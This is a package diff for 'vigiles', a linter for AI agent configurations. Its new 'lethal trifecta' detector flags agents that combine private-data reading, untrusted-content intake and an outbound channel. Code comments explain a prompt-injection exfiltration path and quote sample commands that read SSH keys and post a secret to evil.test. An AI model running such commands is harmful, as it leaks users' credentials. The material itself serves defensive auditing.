vigiles 10.0.0 → 11.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +113 -83
- package/dist/adapters/claude-code/dialect.js +15 -0
- package/dist/audit-report.d.ts +1 -1
- package/dist/audit-report.template.html +1 -1
- package/dist/audit-score.d.ts +19 -12
- package/dist/audit-score.js +65 -11
- package/dist/cli.js +249 -0
- package/dist/core/CLAUDE.md.spec.d.ts +3 -0
- package/dist/core/CLAUDE.md.spec.js +26 -0
- package/dist/core/delegation-trifecta.d.ts +64 -0
- package/dist/core/delegation-trifecta.js +124 -0
- package/dist/core/dialect.d.ts +18 -0
- package/dist/core/hook-block-ineffective.d.ts +62 -0
- package/dist/core/hook-block-ineffective.js +153 -0
- package/dist/core/hook-matcher.d.ts +66 -0
- package/dist/core/hook-matcher.js +182 -0
- package/dist/core/hook-normalize.d.ts +43 -0
- package/dist/core/hook-normalize.js +78 -0
- package/dist/core/lethal-trifecta.d.ts +100 -0
- package/dist/core/lethal-trifecta.js +197 -0
- package/dist/core/plugin-dir-layout.d.ts +30 -0
- package/dist/core/plugin-dir-layout.js +73 -0
- package/dist/core/rule-meta.d.ts +82 -0
- package/dist/core/rule-meta.js +266 -0
- package/dist/core/skill-missing-fence.d.ts +47 -0
- package/dist/core/skill-missing-fence.js +119 -0
- package/dist/core/skill-resources.d.ts +27 -0
- package/dist/core/skill-resources.js +167 -0
- package/dist/core/types.d.ts +71 -0
- package/dist/core/validate.d.ts +1 -0
- package/dist/core/validate.js +26 -4
- package/dist/leaderboard.d.ts +1 -0
- package/dist/leaderboard.js +42 -4
- package/dist/scan.d.ts +106 -0
- package/dist/scan.js +251 -45
- package/dist/setup-plan.d.ts +6 -3
- package/dist/setup-plan.js +12 -2
- package/package.json +1 -1
|
@@ -0,0 +1,100 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* The LETHAL-TRIFECTA check — the headline Safety detector. Simon Willison's
|
|
3
|
+
* "lethal trifecta": a single unit (a subagent / model-invocable skill) that
|
|
4
|
+
* simultaneously holds all THREE capability legs is a prompt-injection
|
|
5
|
+
* exfiltration path with NO exploit code — attacker-controllable content flows
|
|
6
|
+
* in, reads your private data, and ships it out, all driven by the model.
|
|
7
|
+
*
|
|
8
|
+
* LEG A — PRIVATE-DATA READ — can read local secrets / files / repo
|
|
9
|
+
* (Read, mcp__filesystem__*, github get_file,
|
|
10
|
+
* and `Bash`, which can `cat ~/.ssh/*` / `.env`).
|
|
11
|
+
* LEG B — UNTRUSTED-CONTENT INTAKE — ingests attacker-controllable content
|
|
12
|
+
* (WebFetch, WebSearch, mcp__fetch__*, MCP
|
|
13
|
+
* servers reading issues / email / tickets).
|
|
14
|
+
* LEG C — EXFILTRATION CHANNEL — can send data out (WebFetch, computer_use,
|
|
15
|
+
* github create_pull_request / add_issue_comment,
|
|
16
|
+
* any external-write MCP, and `Bash`, which can
|
|
17
|
+
* `curl`/`wget` to anywhere).
|
|
18
|
+
*
|
|
19
|
+
* Meta's "Rule of Two": allow at most two of the three legs in one unit. A unit
|
|
20
|
+
* holding all three is the hard finding. NO other tool checks the tool-SET for
|
|
21
|
+
* this — every competitor lints a single tool's effect, never the dangerous
|
|
22
|
+
* COMBINATION.
|
|
23
|
+
*
|
|
24
|
+
* `Bash` is special: it satisfies BOTH leg A (read a secret) AND leg C (curl it
|
|
25
|
+
* out). So `Bash` + any leg-B tool (e.g. `WebFetch`) is already all three legs.
|
|
26
|
+
*
|
|
27
|
+
* HIGH-PRECISION (don't-cry-wolf): only WELL-KNOWN tools map to a leg; an
|
|
28
|
+
* unknown tool maps to nothing. A `Tool(restriction)` suffix is stripped with the
|
|
29
|
+
* same `baseTool` shape `effects.ts` uses.
|
|
30
|
+
*
|
|
31
|
+
* INHERITS-ALL: a unit with no `tools:` line inherits ALL tools — maximal blast
|
|
32
|
+
* radius, trivially all three legs. Aligned with the codebase's existing
|
|
33
|
+
* "inherits-all is ADVISORY" stance (compile/scan treat a missing contract as a
|
|
34
|
+
* footgun note, not a hard defect), an inherits-all trifecta is reported as
|
|
35
|
+
* `"advisory"`; an EXPLICIT all-three contract is the `"hard"` flag.
|
|
36
|
+
*
|
|
37
|
+
* Pure + ONE detector (one-detector-no-drift) — intended to be reused by `scan`
|
|
38
|
+
* (the read-only audit) and a future `lethal-trifecta` lint rule. The dialect is
|
|
39
|
+
* injected (core ⊄ adapter) so it generalizes across harnesses (Codex's `shell`
|
|
40
|
+
* plays Bash's dual A+C role — see `LEG_BASH_DUAL` below). The per-leg catalogs
|
|
41
|
+
* are LOCAL consts here because the `HarnessDialect` interface has no trifecta-leg
|
|
42
|
+
* fields today; see the "Recommended dialect additions" note at the bottom.
|
|
43
|
+
*/
|
|
44
|
+
import type { HarnessDialect } from "./dialect.js";
|
|
45
|
+
/** The three capability legs of the lethal trifecta. */
|
|
46
|
+
export type TrifectaLeg = "private" | "untrusted" | "exfil";
|
|
47
|
+
/** The tools classified into each leg (base names, de-duplicated). */
|
|
48
|
+
export interface TrifectaLegs {
|
|
49
|
+
/** LEG A — tools that can read private data (secrets, files, repo). */
|
|
50
|
+
readonly private: readonly string[];
|
|
51
|
+
/** LEG B — tools that ingest untrusted / attacker-controllable content. */
|
|
52
|
+
readonly untrusted: readonly string[];
|
|
53
|
+
/** LEG C — tools that can exfiltrate data out of the trust boundary. */
|
|
54
|
+
readonly exfil: readonly string[];
|
|
55
|
+
}
|
|
56
|
+
/**
|
|
57
|
+
* The severity of a trifecta finding:
|
|
58
|
+
* - `"hard"`: an EXPLICIT contract that names all three legs — a concrete,
|
|
59
|
+
* declared exfil path. The flag.
|
|
60
|
+
* - `"advisory"`: an inherits-all unit (no `tools:` line) that holds all three
|
|
61
|
+
* legs only because it inherits everything — maximal blast radius,
|
|
62
|
+
* reported as advisory in line with the inherits-all stance.
|
|
63
|
+
*/
|
|
64
|
+
export type TrifectaSeverity = "hard" | "advisory";
|
|
65
|
+
/**
|
|
66
|
+
* A lethal-trifecta finding — emitted ONLY when all three legs are non-empty (or,
|
|
67
|
+
* for the inherits-all case, when the contract inherits all tools). The `legs`
|
|
68
|
+
* field names the specific tools that supplied each leg, so the report can show
|
|
69
|
+
* exactly which capabilities to drop to break the trifecta.
|
|
70
|
+
*/
|
|
71
|
+
export interface TrifectaFinding {
|
|
72
|
+
readonly severity: TrifectaSeverity;
|
|
73
|
+
/** The tools that supplied each leg (advisory inherits-all carries the wildcard). */
|
|
74
|
+
readonly legs: TrifectaLegs;
|
|
75
|
+
/** A ready-to-show, actionable message. */
|
|
76
|
+
readonly message: string;
|
|
77
|
+
}
|
|
78
|
+
/**
|
|
79
|
+
* Classify each tool in a declared contract into the trifecta legs it supplies.
|
|
80
|
+
* A single tool may land in MULTIPLE legs (`Bash` → A+C, `WebFetch` → B+C). An
|
|
81
|
+
* unknown tool lands in none (high-precision). De-duplicated per leg.
|
|
82
|
+
*
|
|
83
|
+
* NOTE on inherits-all: a wildcard (`""`/`"*"`) entry is NOT classified into a
|
|
84
|
+
* named leg here (it has no concrete tool name); the inherits-all case is handled
|
|
85
|
+
* by {@link lethalTrifectaIssues}, which knows it grants every leg.
|
|
86
|
+
*/
|
|
87
|
+
export declare function classifyTrifectaLegs(tools: readonly string[], dialect: HarnessDialect): TrifectaLegs;
|
|
88
|
+
/**
|
|
89
|
+
* Returns a {@link TrifectaFinding} ONLY when a unit holds all three legs, else
|
|
90
|
+
* `null` (≤ 2 legs = safe by the Rule of Two).
|
|
91
|
+
*
|
|
92
|
+
* Two paths:
|
|
93
|
+
* - INHERITS-ALL (a wildcard `""`/`"*"`, or an EMPTY contract): inherits every
|
|
94
|
+
* tool → trivially all three legs → an `"advisory"` finding (the inherits-all
|
|
95
|
+
* stance: a footgun worth surfacing, not a declared exfil path).
|
|
96
|
+
* - EXPLICIT: classify the named tools; emit a `"hard"` finding iff each of the
|
|
97
|
+
* three legs is non-empty.
|
|
98
|
+
*/
|
|
99
|
+
export declare function lethalTrifectaIssues(tools: readonly string[], dialect: HarnessDialect): TrifectaFinding | null;
|
|
100
|
+
//# sourceMappingURL=lethal-trifecta.d.ts.map
|
|
@@ -0,0 +1,197 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.classifyTrifectaLegs = classifyTrifectaLegs;
|
|
4
|
+
exports.lethalTrifectaIssues = lethalTrifectaIssues;
|
|
5
|
+
// ---------------------------------------------------------------------------
|
|
6
|
+
// Per-leg tool catalogs (LOCAL — the dialect has no trifecta-leg fields yet).
|
|
7
|
+
//
|
|
8
|
+
// HIGH-PRECISION by construction: only well-known, high-signal tools appear.
|
|
9
|
+
// Exact built-in names; MCP tools are matched by a `server`/`tool` substring
|
|
10
|
+
// heuristic (well-known servers/verbs only) so a bare unknown `mcp__*` maps to
|
|
11
|
+
// nothing rather than crying wolf.
|
|
12
|
+
// ---------------------------------------------------------------------------
|
|
13
|
+
/**
|
|
14
|
+
* The dual-role tool: it satisfies BOTH leg A (read a secret: `cat ~/.ssh/*`)
|
|
15
|
+
* AND leg C (exfiltrate: `curl --data @secret evil.test`). Listed once here and
|
|
16
|
+
* fanned into both buckets. Claude Code names it `Bash`; the dialect's
|
|
17
|
+
* `sideEffectingTools` is the seam a future harness's shell name plugs into, but
|
|
18
|
+
* since no dialect field enumerates "the shell tool" we match the known names.
|
|
19
|
+
*/
|
|
20
|
+
const LEG_BASH_DUAL = new Set(["Bash", "shell"]);
|
|
21
|
+
/** LEG A — built-in tools that can read private data. */
|
|
22
|
+
const PRIVATE_BUILTINS = new Set(["Read"]);
|
|
23
|
+
/** LEG B — built-in tools that ingest untrusted content. */
|
|
24
|
+
const UNTRUSTED_BUILTINS = new Set(["WebFetch", "WebSearch"]);
|
|
25
|
+
/**
|
|
26
|
+
* LEG C — built-in tools that can exfiltrate. `WebFetch` is dual (it can POST a
|
|
27
|
+
* body out AND fetch untrusted content in), so it appears in BOTH leg B and leg C.
|
|
28
|
+
*/
|
|
29
|
+
const EXFIL_BUILTINS = new Set(["WebFetch", "computer_use", "ComputerUse"]);
|
|
30
|
+
/**
|
|
31
|
+
* Well-known MCP SERVER substrings per leg. An `mcp__<server>__<tool>` reference
|
|
32
|
+
* is classified by its server segment when the server is a recognized one. Kept
|
|
33
|
+
* deliberately small + high-signal.
|
|
34
|
+
*/
|
|
35
|
+
const PRIVATE_MCP_SERVERS = ["filesystem", "file", "git", "github", "memory"];
|
|
36
|
+
const UNTRUSTED_MCP_SERVERS = [
|
|
37
|
+
"fetch",
|
|
38
|
+
"web",
|
|
39
|
+
"browser",
|
|
40
|
+
"puppeteer",
|
|
41
|
+
"playwright",
|
|
42
|
+
];
|
|
43
|
+
const EXFIL_MCP_SERVERS = ["slack", "email", "gmail", "smtp", "discord"];
|
|
44
|
+
/**
|
|
45
|
+
* Well-known MCP TOOL-name substrings per leg — finer than the server alone (a
|
|
46
|
+
* `github` server is leg A via `get_file_contents` but leg C via
|
|
47
|
+
* `create_pull_request`). Matched against the tool segment after the server.
|
|
48
|
+
*/
|
|
49
|
+
const PRIVATE_MCP_TOOLS = ["get_file", "read", "search_code", "get_contents"];
|
|
50
|
+
const UNTRUSTED_MCP_TOOLS = [
|
|
51
|
+
"fetch",
|
|
52
|
+
"list_issues",
|
|
53
|
+
"get_issue",
|
|
54
|
+
"issue_read",
|
|
55
|
+
"search_issues",
|
|
56
|
+
];
|
|
57
|
+
const EXFIL_MCP_TOOLS = [
|
|
58
|
+
"create_pull_request",
|
|
59
|
+
"add_issue_comment",
|
|
60
|
+
"issue_write",
|
|
61
|
+
"create_or_update_file",
|
|
62
|
+
"push_files",
|
|
63
|
+
"send",
|
|
64
|
+
"post",
|
|
65
|
+
"create_issue",
|
|
66
|
+
];
|
|
67
|
+
// ---------------------------------------------------------------------------
|
|
68
|
+
// Internal helpers
|
|
69
|
+
// ---------------------------------------------------------------------------
|
|
70
|
+
/** Strips a `Tool(restriction)` suffix and returns the base tool name. */
|
|
71
|
+
function baseTool(raw) {
|
|
72
|
+
return raw.split("(")[0].trim();
|
|
73
|
+
}
|
|
74
|
+
/** Returns true for the wildcard sentinels that mean "inherits-all". */
|
|
75
|
+
function isWildcard(tool) {
|
|
76
|
+
return tool === "" || tool === "*";
|
|
77
|
+
}
|
|
78
|
+
/**
|
|
79
|
+
* Split an MCP grant into `{ server, tool }`, or null. Handles three forms:
|
|
80
|
+
* - a concrete `mcp__<server>__<tool>` (tool = the named tool);
|
|
81
|
+
* - a SERVER-WIDE grant `mcp__<server>` or `mcp__<server>__*` / `__.*` (tool = ""
|
|
82
|
+
* → classify by the SERVER alone, since it grants every tool on that server).
|
|
83
|
+
* Without the server-wide case a contract like `mcp__slack__*` would grant an
|
|
84
|
+
* exfil-capable server yet contribute no leg (reported clean when it isn't).
|
|
85
|
+
*/
|
|
86
|
+
function mcpParts(base, dialect) {
|
|
87
|
+
if (dialect.mcpToolPattern.test(base)) {
|
|
88
|
+
const m = /^mcp__([^_]+(?:_[^_]+)*?)__(.+)$/.exec(base);
|
|
89
|
+
if (m)
|
|
90
|
+
return { server: m[1].toLowerCase(), tool: m[2].toLowerCase() };
|
|
91
|
+
}
|
|
92
|
+
// Server-wide: `mcp__server`, `mcp__server__*`, `mcp__server__.*`.
|
|
93
|
+
const sw = /^mcp__([a-z0-9-]+(?:_[a-z0-9-]+)*?)(?:__(?:\*|\.\*))?$/i.exec(base);
|
|
94
|
+
if (sw)
|
|
95
|
+
return { server: sw[1].toLowerCase(), tool: "" };
|
|
96
|
+
return null;
|
|
97
|
+
}
|
|
98
|
+
function anySubstr(haystack, needles) {
|
|
99
|
+
return needles.some((n) => haystack.includes(n));
|
|
100
|
+
}
|
|
101
|
+
// ---------------------------------------------------------------------------
|
|
102
|
+
// Public API
|
|
103
|
+
// ---------------------------------------------------------------------------
|
|
104
|
+
/**
|
|
105
|
+
* Classify each tool in a declared contract into the trifecta legs it supplies.
|
|
106
|
+
* A single tool may land in MULTIPLE legs (`Bash` → A+C, `WebFetch` → B+C). An
|
|
107
|
+
* unknown tool lands in none (high-precision). De-duplicated per leg.
|
|
108
|
+
*
|
|
109
|
+
* NOTE on inherits-all: a wildcard (`""`/`"*"`) entry is NOT classified into a
|
|
110
|
+
* named leg here (it has no concrete tool name); the inherits-all case is handled
|
|
111
|
+
* by {@link lethalTrifectaIssues}, which knows it grants every leg.
|
|
112
|
+
*/
|
|
113
|
+
function classifyTrifectaLegs(tools, dialect) {
|
|
114
|
+
const priv = new Set();
|
|
115
|
+
const untrusted = new Set();
|
|
116
|
+
const exfil = new Set();
|
|
117
|
+
for (const raw of tools) {
|
|
118
|
+
const base = baseTool(raw);
|
|
119
|
+
if (isWildcard(base))
|
|
120
|
+
continue; // handled by the issues fn, not a named leg
|
|
121
|
+
// Dual-role shell: leg A AND leg C.
|
|
122
|
+
if (LEG_BASH_DUAL.has(base)) {
|
|
123
|
+
priv.add(base);
|
|
124
|
+
exfil.add(base);
|
|
125
|
+
continue;
|
|
126
|
+
}
|
|
127
|
+
if (PRIVATE_BUILTINS.has(base))
|
|
128
|
+
priv.add(base);
|
|
129
|
+
if (UNTRUSTED_BUILTINS.has(base))
|
|
130
|
+
untrusted.add(base);
|
|
131
|
+
if (EXFIL_BUILTINS.has(base))
|
|
132
|
+
exfil.add(base);
|
|
133
|
+
const parts = mcpParts(base, dialect);
|
|
134
|
+
if (parts) {
|
|
135
|
+
const { server, tool } = parts;
|
|
136
|
+
if (anySubstr(server, PRIVATE_MCP_SERVERS) ||
|
|
137
|
+
anySubstr(tool, PRIVATE_MCP_TOOLS))
|
|
138
|
+
priv.add(base);
|
|
139
|
+
if (anySubstr(server, UNTRUSTED_MCP_SERVERS) ||
|
|
140
|
+
anySubstr(tool, UNTRUSTED_MCP_TOOLS))
|
|
141
|
+
untrusted.add(base);
|
|
142
|
+
if (anySubstr(server, EXFIL_MCP_SERVERS) ||
|
|
143
|
+
anySubstr(tool, EXFIL_MCP_TOOLS))
|
|
144
|
+
exfil.add(base);
|
|
145
|
+
}
|
|
146
|
+
}
|
|
147
|
+
return { private: [...priv], untrusted: [...untrusted], exfil: [...exfil] };
|
|
148
|
+
}
|
|
149
|
+
/**
|
|
150
|
+
* Returns a {@link TrifectaFinding} ONLY when a unit holds all three legs, else
|
|
151
|
+
* `null` (≤ 2 legs = safe by the Rule of Two).
|
|
152
|
+
*
|
|
153
|
+
* Two paths:
|
|
154
|
+
* - INHERITS-ALL (a wildcard `""`/`"*"`, or an EMPTY contract): inherits every
|
|
155
|
+
* tool → trivially all three legs → an `"advisory"` finding (the inherits-all
|
|
156
|
+
* stance: a footgun worth surfacing, not a declared exfil path).
|
|
157
|
+
* - EXPLICIT: classify the named tools; emit a `"hard"` finding iff each of the
|
|
158
|
+
* three legs is non-empty.
|
|
159
|
+
*/
|
|
160
|
+
function lethalTrifectaIssues(tools, dialect) {
|
|
161
|
+
const hasWildcard = tools.some((t) => isWildcard(baseTool(t)));
|
|
162
|
+
// Inherits-all is signalled by a WILDCARD (the caller passes `["*"]` for an
|
|
163
|
+
// absent `tools:` line). An EXPLICIT empty `[]` is the opposite — zero tools,
|
|
164
|
+
// so it cannot hold any leg; it falls through to classify as no-trifecta. (The
|
|
165
|
+
// caller must distinguish: `tools ?? ["*"]`, never `tools ?? []`.)
|
|
166
|
+
if (hasWildcard) {
|
|
167
|
+
const legs = {
|
|
168
|
+
private: ["*"],
|
|
169
|
+
untrusted: ["*"],
|
|
170
|
+
exfil: ["*"],
|
|
171
|
+
};
|
|
172
|
+
return {
|
|
173
|
+
severity: "advisory",
|
|
174
|
+
legs,
|
|
175
|
+
message: "Inherits-all contract (no explicit tools / wildcard) grants every capability — " +
|
|
176
|
+
"it holds all three lethal-trifecta legs (read private data, ingest untrusted content, " +
|
|
177
|
+
"exfiltrate) and is a maximal prompt-injection blast radius. Declare an explicit tools " +
|
|
178
|
+
"list dropping at least one leg (Meta's Rule of Two).",
|
|
179
|
+
};
|
|
180
|
+
}
|
|
181
|
+
const legs = classifyTrifectaLegs(tools, dialect);
|
|
182
|
+
if (legs.private.length > 0 &&
|
|
183
|
+
legs.untrusted.length > 0 &&
|
|
184
|
+
legs.exfil.length > 0) {
|
|
185
|
+
return {
|
|
186
|
+
severity: "hard",
|
|
187
|
+
legs,
|
|
188
|
+
message: "Lethal trifecta: this unit can read private data " +
|
|
189
|
+
`(${legs.private.join(", ")}), ingest untrusted content ` +
|
|
190
|
+
`(${legs.untrusted.join(", ")}), AND exfiltrate ` +
|
|
191
|
+
`(${legs.exfil.join(", ")}) — a prompt-injection exfil path with no exploit code. ` +
|
|
192
|
+
"Drop at least one leg (Meta's Rule of Two: allow at most two).",
|
|
193
|
+
};
|
|
194
|
+
}
|
|
195
|
+
return null;
|
|
196
|
+
}
|
|
197
|
+
//# sourceMappingURL=lethal-trifecta.js.map
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
/** A functional surface directory found nested inside the manifest directory. */
|
|
2
|
+
export interface PluginLayoutFinding {
|
|
3
|
+
/** The misplaced surface directory name (e.g. `"skills"`). */
|
|
4
|
+
readonly dir: string;
|
|
5
|
+
/** Human-readable explanation + fix. */
|
|
6
|
+
readonly message: string;
|
|
7
|
+
}
|
|
8
|
+
export interface PluginLayoutOptions {
|
|
9
|
+
/** Injectable: does this path exist? (default: node:fs existsSync) */
|
|
10
|
+
readonly existsSync?: (p: string) => boolean;
|
|
11
|
+
/**
|
|
12
|
+
* Injectable: is this path a directory? (default: node:fs
|
|
13
|
+
* statSync(p).isDirectory(), returning false on any throw)
|
|
14
|
+
*/
|
|
15
|
+
readonly isDirectory?: (p: string) => boolean;
|
|
16
|
+
}
|
|
17
|
+
/**
|
|
18
|
+
* Surface directories found nested INSIDE the manifest directory, where they are
|
|
19
|
+
* invisible to the harness.
|
|
20
|
+
*
|
|
21
|
+
* `manifestDir` is the absolute path to the manifest directory (e.g. the repo's
|
|
22
|
+
* `.claude-plugin/`). `surfaceDirNames` are the harness's functional surface
|
|
23
|
+
* directory names, injected from the layout (e.g. `["skills","agents","commands",
|
|
24
|
+
* "hooks"]`) so the detector stays harness-agnostic — NEVER hard-code them.
|
|
25
|
+
*
|
|
26
|
+
* Returns `[]` when the manifest dir doesn't exist or holds no misplaced surface
|
|
27
|
+
* dirs.
|
|
28
|
+
*/
|
|
29
|
+
export declare function pluginDirLayoutIssues(manifestDir: string, surfaceDirNames: readonly string[], opts?: PluginLayoutOptions): PluginLayoutFinding[];
|
|
30
|
+
//# sourceMappingURL=plugin-dir-layout.d.ts.map
|
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.pluginDirLayoutIssues = pluginDirLayoutIssues;
|
|
4
|
+
/**
|
|
5
|
+
* vigiles — plugin manifest directory layout verification.
|
|
6
|
+
*
|
|
7
|
+
* The #1 plugin-author mistake (OSS pain #E1): placing functional surface
|
|
8
|
+
* directories (skills/, agents/, commands/, hooks/) INSIDE the `.claude-plugin/`
|
|
9
|
+
* manifest directory instead of at the plugin root. The harness resolves surface
|
|
10
|
+
* dirs relative to the PLUGIN ROOT (where the agent is launched), not relative to
|
|
11
|
+
* the manifest directory — so a `skills/` nested inside `.claude-plugin/` is
|
|
12
|
+
* completely invisible to the harness. Only `plugin.json` belongs inside the
|
|
13
|
+
* manifest directory; everything else must live at the root.
|
|
14
|
+
*
|
|
15
|
+
* Pure + FP-safe: the only IO is an injectable `existsSync` and `isDirectory`
|
|
16
|
+
* (defaults: node:fs), mirroring the pattern in core/skill-resources.ts and the
|
|
17
|
+
* loader, so the detector is fully testable with fakes and never touches the
|
|
18
|
+
* filesystem in tests.
|
|
19
|
+
*
|
|
20
|
+
* Harness-agnostic: the surface directory names are INJECTED from the layout
|
|
21
|
+
* (PluginLayout.skillDir / agentDir / commandDir / hookDir, or equivalent), never
|
|
22
|
+
* hard-coded here. ONE detector reused by both `vigiles lint` (the
|
|
23
|
+
* `plugin-dir-layout` rule) and `vigiles audit` (the read-only report) — one
|
|
24
|
+
* detector, no drift.
|
|
25
|
+
*/
|
|
26
|
+
const node_fs_1 = require("node:fs");
|
|
27
|
+
const node_path_1 = require("node:path");
|
|
28
|
+
// ---------------------------------------------------------------------------
|
|
29
|
+
// Detector
|
|
30
|
+
// ---------------------------------------------------------------------------
|
|
31
|
+
/**
|
|
32
|
+
* Default `isDirectory` implementation — wraps statSync so that a missing or
|
|
33
|
+
* unreadable path returns `false` instead of throwing.
|
|
34
|
+
*/
|
|
35
|
+
function defaultIsDirectory(p) {
|
|
36
|
+
try {
|
|
37
|
+
return (0, node_fs_1.statSync)(p).isDirectory();
|
|
38
|
+
}
|
|
39
|
+
catch {
|
|
40
|
+
return false;
|
|
41
|
+
}
|
|
42
|
+
}
|
|
43
|
+
/**
|
|
44
|
+
* Surface directories found nested INSIDE the manifest directory, where they are
|
|
45
|
+
* invisible to the harness.
|
|
46
|
+
*
|
|
47
|
+
* `manifestDir` is the absolute path to the manifest directory (e.g. the repo's
|
|
48
|
+
* `.claude-plugin/`). `surfaceDirNames` are the harness's functional surface
|
|
49
|
+
* directory names, injected from the layout (e.g. `["skills","agents","commands",
|
|
50
|
+
* "hooks"]`) so the detector stays harness-agnostic — NEVER hard-code them.
|
|
51
|
+
*
|
|
52
|
+
* Returns `[]` when the manifest dir doesn't exist or holds no misplaced surface
|
|
53
|
+
* dirs.
|
|
54
|
+
*/
|
|
55
|
+
function pluginDirLayoutIssues(manifestDir, surfaceDirNames, opts) {
|
|
56
|
+
const exists = opts?.existsSync ?? node_fs_1.existsSync;
|
|
57
|
+
const isDir = opts?.isDirectory ?? defaultIsDirectory;
|
|
58
|
+
const manifestBase = (0, node_path_1.basename)(manifestDir);
|
|
59
|
+
const findings = [];
|
|
60
|
+
for (const name of surfaceDirNames) {
|
|
61
|
+
const candidate = (0, node_path_1.join)(manifestDir, name);
|
|
62
|
+
if (exists(candidate) && isDir(candidate)) {
|
|
63
|
+
findings.push({
|
|
64
|
+
dir: name,
|
|
65
|
+
message: `\`${name}/\` lives inside the \`${manifestBase}/\` manifest directory ` +
|
|
66
|
+
`where the harness can't see it — only \`plugin.json\` belongs there; ` +
|
|
67
|
+
`move \`${name}/\` to the plugin root.`,
|
|
68
|
+
});
|
|
69
|
+
}
|
|
70
|
+
}
|
|
71
|
+
return findings;
|
|
72
|
+
}
|
|
73
|
+
//# sourceMappingURL=plugin-dir-layout.js.map
|
|
@@ -0,0 +1,82 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* vigiles — the RULE METADATA registry (the ESLint-`meta` pattern, adapted).
|
|
3
|
+
*
|
|
4
|
+
* Every deterministic check vigiles ships is DECLARED here with the one fact that
|
|
5
|
+
* dissolves the "why is this a warning / can't this be a type?" confusion: its
|
|
6
|
+
* DECIDABILITY BUCKET, which sets the strongest enforcement the defect can ever
|
|
7
|
+
* reach. See `research/enforcement-model.md` for the full model and
|
|
8
|
+
* `lint-rule-calibration` (root CLAUDE.md) for the governance rule.
|
|
9
|
+
*
|
|
10
|
+
* WHY A CENTRAL REGISTRY, NOT CO-LOCATED `export const meta`. ESLint co-locates
|
|
11
|
+
* meta with each rule because there 1 rule = 1 module. vigiles deliberately
|
|
12
|
+
* SHARES detectors (one-detector-no-drift: a single pure function feeds both
|
|
13
|
+
* `lint` and `audit`, and `scan.ts` computes many rules at once), so co-locating
|
|
14
|
+
* would scatter metas across files that each own several rules — the very
|
|
15
|
+
* fragmentation we're removing. ONE registry keyed by rule name is the honest
|
|
16
|
+
* single source (mirrors `cli-commands.ts` for verbs); the `detector` field names
|
|
17
|
+
* the pure function so traceability survives.
|
|
18
|
+
*
|
|
19
|
+
* The bucket is the CEILING; `defaultSeverity` is where the rule sits TODAY. A
|
|
20
|
+
* gap between them is meaningful: a bucket-A/B rule at `warn` is a CANDIDATE for
|
|
21
|
+
* promotion to `error` (deterministic, just rolling out), whereas a bucket-C rule
|
|
22
|
+
* at `warn` is permanent (forcing it to `error` would cry wolf).
|
|
23
|
+
*/
|
|
24
|
+
import type { RulesConfig } from "./types.js";
|
|
25
|
+
/**
|
|
26
|
+
* The decidability class of a defect — the single fact that sets its ceiling.
|
|
27
|
+
*
|
|
28
|
+
* - `structural-closed` — decidable from the artifact's own content over a CLOSED
|
|
29
|
+
* vocabulary; a TYPE could make it impossible for authors who route through the
|
|
30
|
+
* typed constructor. Ceiling: unrepresentable / won't-typecheck.
|
|
31
|
+
* - `external-decidable` — decidable, but needs the EXTERNAL world (the
|
|
32
|
+
* filesystem, a linter catalog, another file/server). No type can read those,
|
|
33
|
+
* so the ceiling is a hard ERROR at compile-cross-ref or lint — never a type.
|
|
34
|
+
* - `heuristic-behavioral` — undecidable or a fuzzy proxy ("are these too
|
|
35
|
+
* similar?", "does this fire?"). Ceiling: a WARNING or a model-MEASUREMENT. By
|
|
36
|
+
* the math, not by laziness; an `error` here would cry wolf.
|
|
37
|
+
*/
|
|
38
|
+
export type RuleBucket = "structural-closed" | "external-decidable" | "heuristic-behavioral";
|
|
39
|
+
/** The artifact surface a rule reads (coarse; a rule may span several). */
|
|
40
|
+
export type RuleSurface = "instruction" | "skill" | "subagent" | "hook" | "mcp" | "plugin" | "docs";
|
|
41
|
+
/** Where a rule sits by default — `"off"` is the normalized form of `false`. */
|
|
42
|
+
export type RuleDefaultSeverity = "error" | "warn" | "off";
|
|
43
|
+
/** Every named rule: the `RulesConfig` keys plus the built-in `orphan-docs`. */
|
|
44
|
+
export type RuleName = keyof RulesConfig | "orphan-docs";
|
|
45
|
+
/**
|
|
46
|
+
* The declared shape of one rule — co-located metadata in the ESLint `meta`
|
|
47
|
+
* sense, gathered into one registry because vigiles shares detectors.
|
|
48
|
+
*/
|
|
49
|
+
export interface RuleMeta {
|
|
50
|
+
/** Canonical rule id (a `RulesConfig` key or `orphan-docs`). */
|
|
51
|
+
readonly id: RuleName;
|
|
52
|
+
/** The decidability class → the rule's strongest possible ceiling. */
|
|
53
|
+
readonly bucket: RuleBucket;
|
|
54
|
+
/** The artifact surface(s) the rule reads (non-empty). */
|
|
55
|
+
readonly surface: readonly RuleSurface[];
|
|
56
|
+
/** Where the rule sits by default today (≤ the bucket's ceiling). */
|
|
57
|
+
readonly defaultSeverity: RuleDefaultSeverity;
|
|
58
|
+
/** One-line "what it checks" (tracks the docs matrix row). */
|
|
59
|
+
readonly summary: string;
|
|
60
|
+
/** The shared pure detector function (one-detector-no-drift traceability). */
|
|
61
|
+
readonly detector: string;
|
|
62
|
+
/**
|
|
63
|
+
* The upstream construct that makes this SAME defect impossible for authors who
|
|
64
|
+
* route through it — a TYPE (structural-closed) or a COMPILE cross-ref. Absent
|
|
65
|
+
* when no construct path exists for the surface, the prevention isn't shipped
|
|
66
|
+
* yet, or the defect is undecidable (heuristic-behavioral). The lint rule is
|
|
67
|
+
* always the artifact-time floor regardless.
|
|
68
|
+
*/
|
|
69
|
+
readonly upstreamPrevention?: string;
|
|
70
|
+
}
|
|
71
|
+
/**
|
|
72
|
+
* The registry. `Record<RuleName, RuleMeta>` makes completeness a COMPILE-TIME
|
|
73
|
+
* guarantee: add a `RulesConfig` key without a meta here and `tsc` fails. The
|
|
74
|
+
* runtime test additionally binds this to `docs/rules/*.md` (the fs side a type
|
|
75
|
+
* can't see).
|
|
76
|
+
*/
|
|
77
|
+
export declare const RULE_META: Record<RuleName, RuleMeta>;
|
|
78
|
+
/** All declared rule metas, as a list. */
|
|
79
|
+
export declare function allRuleMeta(): RuleMeta[];
|
|
80
|
+
